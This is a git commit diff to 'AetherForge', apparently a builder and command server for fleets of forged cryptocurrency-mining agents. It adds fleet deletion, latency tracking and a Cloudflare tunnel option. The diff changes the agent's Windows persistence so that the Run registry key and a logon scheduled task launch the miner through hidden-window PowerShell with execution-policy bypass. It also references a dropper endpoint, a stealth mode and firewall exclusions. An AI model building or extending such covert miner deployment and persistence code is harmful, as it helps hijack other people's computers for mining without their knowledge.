Improve fleet control, Crucible ops, and multi-machine identity.

Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
This commit is contained in:
AetherForge
2026-06-02 19:19:50 -07:00
parent 5222f4ad39
commit 01d76b3730
32 changed files with 737 additions and 229 deletions

View File

@@ -106,7 +106,18 @@ if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: ----------------------------------------------------------------
:: 5. Detect LAN IP for display
:: 5. Configure optional Cloudflare tunnel (foreground process, no service)
:: ----------------------------------------------------------------
set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe"
set "CF_PID_FILE=%ROOT%\data\cloudflared.pid"
set "CF_TUNNEL_TOKEN="
if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%"
if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" (
set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt"
)
:: ----------------------------------------------------------------
:: 6. Detect LAN IP for display
:: ----------------------------------------------------------------
set "SERVER_PORT=8989"
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
@@ -118,9 +129,10 @@ set "LAN_IP=localhost"
set "LAN_IP=%LAN_IP: =%"
:: ----------------------------------------------------------------
:: 6. Kill any stale server process
:: 7. Kill any stale server and tunnel processes
:: ----------------------------------------------------------------
taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
echo.
@@ -136,6 +148,30 @@ echo Press Ctrl+C to stop.
echo ================================================================
echo.
:: Start optional Cloudflare tunnel for this launcher session only.
if defined CF_TUNNEL_TOKEN (
if not exist "%ROOT%\tools" mkdir "%ROOT%\tools"
if not exist "%CLOUDFLARED_BIN%" (
echo [Tunnel] Downloading cloudflared.exe...
powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }"
)
if exist "%CLOUDFLARED_BIN%" (
del "%CF_PID_FILE%" 2>nul
echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^).
powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id"
if errorlevel 1 (
echo [Tunnel] WARNING: cloudflared failed to start.
) else (
echo [Tunnel] Tunnel process started. It will stop when this launcher exits.
)
) else (
echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped.
)
) else (
echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN.
)
echo.
:: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
@@ -143,6 +179,13 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
set "EC=!ERRORLEVEL!"
if exist "%CF_PID_FILE%" (
for /f "usebackq" %%P in ("%CF_PID_FILE%") do (
powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul
)
del "%CF_PID_FILE%" 2>nul
)
echo.
if "!EC!"=="0" (
echo [Server] Stopped normally.

View File

@@ -302,7 +302,10 @@ func (c *AgentClient) handleMessage(msg Message) {
if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" {
log.Printf("[agent] job error from server: %s", msg)
}
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
// Back off 3 seconds before retrying — pool may still be connecting.
time.AfterFunc(3*time.Second, func() {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
})
return
}
var j job.Job
@@ -312,7 +315,9 @@ func (c *AgentClient) handleMessage(msg Message) {
}
if j.Blob == "" {
log.Printf("[agent] empty job blob — requesting job again")
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
time.AfterFunc(3*time.Second, func() {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
})
return
}
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)

View File

@@ -29,7 +29,10 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
return err
}
defer k.Close()
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag))
// Wrap in PowerShell so the console window is suppressed on startup.
val := fmt.Sprintf(`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`,
strings.ReplaceAll(binPath, `'`, `''`), runFlag)
return k.SetStringValue(PersistenceKeyName(cfg), val)
}
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
@@ -114,11 +117,16 @@ func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
if taskName == "" {
taskName = "CryptoMinerAgent"
}
safeBin := strings.ReplaceAll(binPath, `'`, `''`)
safeTask := strings.ReplaceAll(taskName, `'`, `''`)
// Wrap in PowerShell with -WindowStyle Hidden so no console window appears.
// RestartCount capped at 5 with a 5-minute interval to prevent a crash-loop
// from spamming the screen. The watchdog covers longer-term health.
psArg := fmt.Sprintf(`-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, safeBin, runFlag)
script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(binPath, `'`, `''`),
runFlag,
strings.ReplaceAll(taskName, `'`, `''`),
`$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 5 -RestartInterval (New-TimeSpan -Minutes 5); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(psArg, `'`, `''`),
safeTask,
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run()

View File

@@ -11,7 +11,7 @@ import (
type Config struct {
Port int `json:"port"`
DataDir string `json:"data_dir"`
DataDir string `json:"-"` // set from -data CLI flag; never written to config.json
Pool PoolConfig `json:"pool"`
Wallet WalletConfig `json:"wallet"`

View File

@@ -31,7 +31,7 @@ type Broadcaster func(AlertEvent)
type Evaluator struct {
db *db.Database
thresholds func() Thresholds
notify NotifyConfig
notify func() NotifyConfig
broadcast Broadcaster
mu sync.Mutex
baseline map[string]float64
@@ -40,7 +40,7 @@ type Evaluator struct {
cooldown time.Duration
}
func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify NotifyConfig, broadcast Broadcaster) *Evaluator {
func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify func() NotifyConfig, broadcast Broadcaster) *Evaluator {
return &Evaluator{
db: database,
thresholds: thresholds,
@@ -180,7 +180,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
e.mu.Unlock()
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
NotifyAll(e.notify, "AetherForge "+ev.Type, ev.Message)
NotifyAll(e.notify(), "AetherForge "+ev.Type, ev.Message)
if e.broadcast != nil {
e.broadcast(ev)
}

View File

@@ -17,6 +17,7 @@ func TestEvaluatorOfflineAlert(t *testing.T) {
var fired []AlertEvent
e := &Evaluator{
thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} },
notify: func() NotifyConfig { return NotifyConfig{} },
broadcast: func(ev AlertEvent) { fired = append(fired, ev) },
baseline: make(map[string]float64),
lastFired: make(map[string]time.Time),

View File

@@ -207,6 +207,10 @@ func (h *DropperHandler) resolveBase(r *http.Request) string {
if r.TLS != nil {
scheme = "https"
}
// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" {
scheme = "https"
}
// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
host := r.Header.Get("X-Forwarded-Host")
if host == "" {

View File

@@ -417,6 +417,55 @@ func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
}
}
// DeleteAgent removes an agent record from the database.
// If the agent is currently online it is also disconnected (kicked).
func (f *FleetHandler) DeleteAgent(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "missing agent id", http.StatusBadRequest)
return
}
// Kick live connection first (non-fatal if offline).
if f.ws != nil {
_ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})})
f.ws.RemoveAgent(id)
}
if err := f.db.DeleteAgent(id); err != nil {
http.Error(w, "delete failed: "+err.Error(), http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]bool{"success": true})
}
// BulkDeleteAgents deletes multiple agents from the database in one call.
func (f *FleetHandler) BulkDeleteAgents(w http.ResponseWriter, r *http.Request) {
var req struct {
IDs []string `json:"ids"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.IDs) == 0 {
http.Error(w, "ids required", http.StatusBadRequest)
return
}
deleted := 0
for _, id := range req.IDs {
if f.ws != nil {
_ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})})
f.ws.RemoveAgent(id)
}
if err := f.db.DeleteAgent(id); err == nil {
deleted++
}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]interface{}{"success": true, "deleted": deleted})
}
func mustMarshalFleet(v interface{}) json.RawMessage {
b, _ := json.Marshal(v)
return b
}
func parseFloatQuery(r *http.Request, key string, def float64) float64 {
v := r.URL.Query().Get(key)
if v == "" {

View File

@@ -182,7 +182,7 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{OfflineMinutes: 5}
}, alerts.NotifyConfig{}, nil)
}, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil)
evaluator.RunOnce()
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{})

View File

@@ -444,7 +444,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
r.Post("/agents/bulk-delete", fleetHandler.BulkDeleteAgents)
}
// Fleet ops

View File

@@ -60,9 +60,13 @@ type Message struct {
}
type AgentConnection struct {
AgentID string
Conn *websocket.Conn
mu sync.Mutex
AgentID string
Conn *websocket.Conn
mu sync.Mutex
// Latency tracking — updated each ping/pong cycle.
latencyMu sync.Mutex
pingSentAt time.Time
LatencyMs *int // nil until first pong received
}
func (c *AgentConnection) SendJSON(v interface{}) error {
@@ -177,6 +181,35 @@ func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
}
}
// runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong.
func (h *WSHub) runPingLoopAgent(ac *AgentConnection) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
conn := ac.Conn
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
conn.SetPongHandler(func(string) error {
// Measure RTT.
ac.latencyMu.Lock()
if !ac.pingSentAt.IsZero() {
ms := int(time.Since(ac.pingSentAt).Milliseconds())
ac.LatencyMs = &ms
}
ac.latencyMu.Unlock()
return conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
ac.latencyMu.Lock()
ac.pingSentAt = time.Now()
ac.latencyMu.Unlock()
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
@@ -263,13 +296,17 @@ func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
}
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
clientIP := r.Header.Get("X-Forwarded-For")
if clientIP == "" {
clientIP = r.RemoteAddr
}
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("WebSocket upgrade error: %v", err)
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
return
}
go h.runPingLoopRaw(conn)
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
agentID := ""
defer func() {
@@ -351,17 +388,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
continue
}
// Verify fleet secret. If the server has one configured, the agent must match.
h.mu.RLock()
requiredSecret := h.fleetSecret
h.mu.RUnlock()
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid fleet secret — re-forge this agent",
})})
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
return
}
// Verify fleet secret. If the server has one configured, the agent must match.
h.mu.RLock()
requiredSecret := h.fleetSecret
h.mu.RUnlock()
log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret)
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid fleet secret — re-forge this agent",
})})
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
return
}
agentID = auth.AgentID
if agentID == "" {
@@ -410,8 +448,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
// Build backup pool.Config list from what the agent sent at auth.
// These are registered on the proxy so reconnect() rotates through
// them automatically — not just at initial connect.
var backupCfgs []pool.Config
for _, bp := range backupPools {
if bp.Host == "" || bp.Port <= 0 {
@@ -431,9 +467,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
backupCfgs = append(backupCfgs, bpc)
}
if _, err := h.poolManager.EnsurePoolWithBackups(&poolCfg, backupCfgs); err != nil {
log.Printf("[WS] All pools failed for agent %s (%d backups tried) — agent will mine when pool reconnects", agentID, len(backupCfgs))
}
// Connect to pool in background — do NOT block the auth_response.
// The agent can start and the pool proxy will be ready by the time
// the first share is submitted.
go func(pc pool.Config, bcs []pool.Config, aid string) {
if _, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs); err != nil {
log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err)
}
}(poolCfg, backupCfgs, agentID)
}
if h.aiHandler != nil && forgeCfg.AIEnabled {
@@ -461,6 +502,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Platform: auth.Platform,
Arch: auth.Arch,
OSVersion: auth.OSVersion,
Hostname: auth.Hostname,
Capabilities: &caps,
}
@@ -496,14 +538,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
oldConn.Close()
h.mu.Lock()
}
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
ac := &AgentConnection{AgentID: agentID, Conn: conn}
h.agents[agentID] = ac
h.mu.Unlock()
// Start the RTT-aware ping loop now that we have an AgentConnection.
go h.runPingLoopAgent(ac)
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": true,
"agent_id": agentID,
})})
// Enrich agent with hostname before broadcasting so the dashboard
// immediately shows the correct machine-specific display name.
agent.Hostname = auth.Hostname
h.broadcastDashboard(Message{
Type: "agent_online",
Payload: mustMarshal(agent),
@@ -659,6 +709,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if len(stats.Services) > 0 {
broadcast["services"] = stats.Services
}
// Attach latest RTT latency from the ping loop.
if ac := h.getAgentConn(agentID); ac != nil {
ac.latencyMu.Lock()
if ac.LatencyMs != nil {
broadcast["latency_ms"] = *ac.LatencyMs
}
ac.latencyMu.Unlock()
}
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
case "submit_share":
@@ -751,11 +809,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
var proxy *pool.Proxy
if h.poolManager != nil {
poolCfg := h.agentPoolConfig(agentID)
// Only use GetPool (non-blocking). If the pool hasn't connected yet
// (background EnsurePoolWithBackups from auth is still dialing), kick
// off another async attempt rather than blocking the WS read loop.
proxy = h.poolManager.GetPool(&poolCfg)
if proxy == nil {
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
proxy = p
}
go func(pc pool.Config) {
if p, err := h.poolManager.EnsurePool(&pc); err != nil {
log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err)
} else {
_ = p
}
}(poolCfg)
}
}
if proxy != nil {
@@ -763,10 +828,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if job != nil {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)})
} else {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available"})})
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})})
}
} else {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool not connected"})})
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})})
}
case "log_tail":
@@ -920,6 +985,29 @@ func (h *WSHub) SendToAgent(agentID string, msg Message) error {
return agent.SendJSON(msg)
}
// RemoveAgent forcibly disconnects an agent and removes it from the live map.
// It then broadcasts agent_deleted to all dashboard clients so the UI removes
// the agent immediately without waiting for the disconnect goroutine to fire.
func (h *WSHub) RemoveAgent(agentID string) {
h.mu.Lock()
if ac, ok := h.agents[agentID]; ok {
// Nil the map entry BEFORE closing so the agent goroutine's deferred
// cleanup (which checks cur.Conn == conn) falls into the else branch
// and skips SetAgentOffline — avoiding a write to an already-deleted row.
delete(h.agents, agentID)
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
delete(h.agentCapabilities, agentID)
ac.Conn.Close()
}
h.mu.Unlock()
// Broadcast deletion so every connected dashboard removes the agent immediately.
h.broadcastDashboard(Message{
Type: "agent_deleted",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
}
// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
payload := map[string]interface{}{"action": action}
@@ -970,17 +1058,23 @@ func (h *WSHub) BroadcastAIActivity(entry interface{}) {
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
}
// agentDisplayName returns a display name that is unique per physical machine.
// Hostname is preferred because it's machine-specific — many agents deployed from
// the same binary would otherwise share the same baked-in worker name, making
// a large fleet impossible to differentiate.
func agentDisplayName(workerName, worker, hostname, agentID string) string {
if workerName != "" {
return workerName
}
if worker != "" {
return worker
}
if hostname != "" {
return hostname
}
return shortAgentID(agentID)
// No hostname reported — make the worker name unique with a short agent ID suffix.
base := workerName
if base == "" {
base = worker
}
if base == "" {
base = "agent"
}
return base + "-" + shortAgentID(agentID)
}
func shortAgentID(id string) string {

View File

@@ -450,8 +450,11 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
uninstallPath := strings.TrimSuffix(build.FilePath, filepath.Base(build.FilePath)) +
fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName))
// Uninstall script lives in buildDir (builds/<id>/), NOT in the platform
// sub-directory where the binary lives (builds/<id>/windows-amd64/).
// Compute directly from dataDir + buildID to avoid path-stripping mistakes.
buildDir := filepath.Join(h.dataDir, "builds", buildID)
uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName)))
if _, err := os.Stat(uninstallPath); err != nil {
http.Error(w, "Uninstall script missing", http.StatusNotFound)
return
@@ -1069,7 +1072,7 @@ func formatGoBackupPools(pools []BackupPool) string {
return "nil"
}
var sb strings.Builder
sb.WriteString("[]config.BackupPool{")
sb.WriteString("[]BackupPool{")
for i, p := range pools {
if i > 0 {
sb.WriteString(", ")

View File

@@ -76,6 +76,15 @@ func generateUninstallScript(buildID string, req *BuildRequest) string {
installRel := expandInstallRelativePath(req, buildID)
installBase := resolveInstallBasePS(req)
firewallBool := "$false"
if req.FirewallExclusion {
firewallBool = "$true"
}
pauseBool := "$false"
if !req.StealthMode {
pauseBool = "$true"
}
return fmt.Sprintf(`# AetherForge Miner Uninstaller
# Worker: %s
# Generated alongside forged installer — run as the same Windows user who installed the miner.
@@ -112,25 +121,22 @@ if (Test-Path $ExpectedExe) {
Write-Host "Removing persistence..."
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
if (%t) {
if (%s) {
Write-Host "Removing Windows Firewall rules..."
Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' In') -ErrorAction SilentlyContinue
Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' Out') -ErrorAction SilentlyContinue
}
if ($true) {
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
}
Write-Host "Removing install directory: $InstallDir"
if ($InstallDir -and (Test-Path $InstallDir)) {
Remove-Item -LiteralPath $InstallDir -Recurse -Force
}
Write-Host "Done. Miner removed."
if (%t) { Read-Host 'Press Enter to close' }
`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), req.FirewallExclusion, !req.StealthMode)
if (%s) { Read-Host 'Press Enter to close' }
`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), firewallBool, pauseBool)
}
func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) {

View File

@@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface {
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname,
)
if err != nil {
return nil, err
@@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface {
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version`
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -124,6 +124,7 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
return nil
}
@@ -131,8 +132,8 @@ func (d *Database) migrate() error {
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?)
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
@@ -144,8 +145,9 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
last_seen = excluded.last_seen,
platform = excluded.platform,
arch = excluded.arch,
os_version = excluded.os_version`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion)
os_version = excluded.os_version,
hostname = excluded.hostname`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname)
return err
}
@@ -165,6 +167,11 @@ func (d *Database) SetAgentOffline(id string) error {
return err
}
func (d *Database) DeleteAgent(id string) error {
_, err := d.Exec("DELETE FROM agents WHERE id = ?", id)
return err
}
func (d *Database) GetAgent(id string) (*models.Agent, error) {
query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?`
return d.scanAgent(d.QueryRow(query, id))

View File

@@ -31,6 +31,10 @@ type Agent struct {
Platform string `json:"platform,omitempty"`
Arch string `json:"arch,omitempty"`
OSVersion string `json:"os_version,omitempty"`
Hostname string `json:"hostname,omitempty"`
// Live connection quality — not persisted, set by WSHub each stats cycle.
LatencyMs *int `json:"latency_ms,omitempty"`
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`

View File

@@ -202,16 +202,19 @@ func main() {
HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct,
RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct,
}
}, alerts.NotifyConfig{
TelegramBotToken: cfg.Alerts.TelegramBotToken,
TelegramChatID: cfg.Alerts.TelegramChatID,
EmailEnabled: cfg.Alerts.EmailEnabled,
SMTPHost: cfg.Alerts.SMTPHost,
SMTPPort: cfg.Alerts.SMTPPort,
SMTPUser: cfg.Alerts.SMTPUser,
SMTPPassword: cfg.Alerts.SMTPPassword,
EmailTo: cfg.Alerts.EmailTo,
EmailFrom: cfg.Alerts.EmailFrom,
}, func() alerts.NotifyConfig {
// Read live from cfg so Calibrate changes take effect without restart.
return alerts.NotifyConfig{
TelegramBotToken: cfg.Alerts.TelegramBotToken,
TelegramChatID: cfg.Alerts.TelegramChatID,
EmailEnabled: cfg.Alerts.EmailEnabled,
SMTPHost: cfg.Alerts.SMTPHost,
SMTPPort: cfg.Alerts.SMTPPort,
SMTPUser: cfg.Alerts.SMTPUser,
SMTPPassword: cfg.Alerts.SMTPPassword,
EmailTo: cfg.Alerts.EmailTo,
EmailFrom: cfg.Alerts.EmailFrom,
}
}, func(ev alerts.AlertEvent) {
wsHub.BroadcastFleetAlert(ev)
})

View File

@@ -6,21 +6,31 @@ const API_BASE = '/api/v1';
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
const { headers: extraHeaders, ...rest } = options ?? {};
const res = await fetch(`${API_BASE}${url}`, {
...rest,
headers: {
'Content-Type': 'application/json',
...authHeaders(),
...(extraHeaders as Record<string, string> | undefined),
},
});
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), timeoutMs);
if (callerSignal) {
callerSignal.addEventListener('abort', () => controller.abort());
}
try {
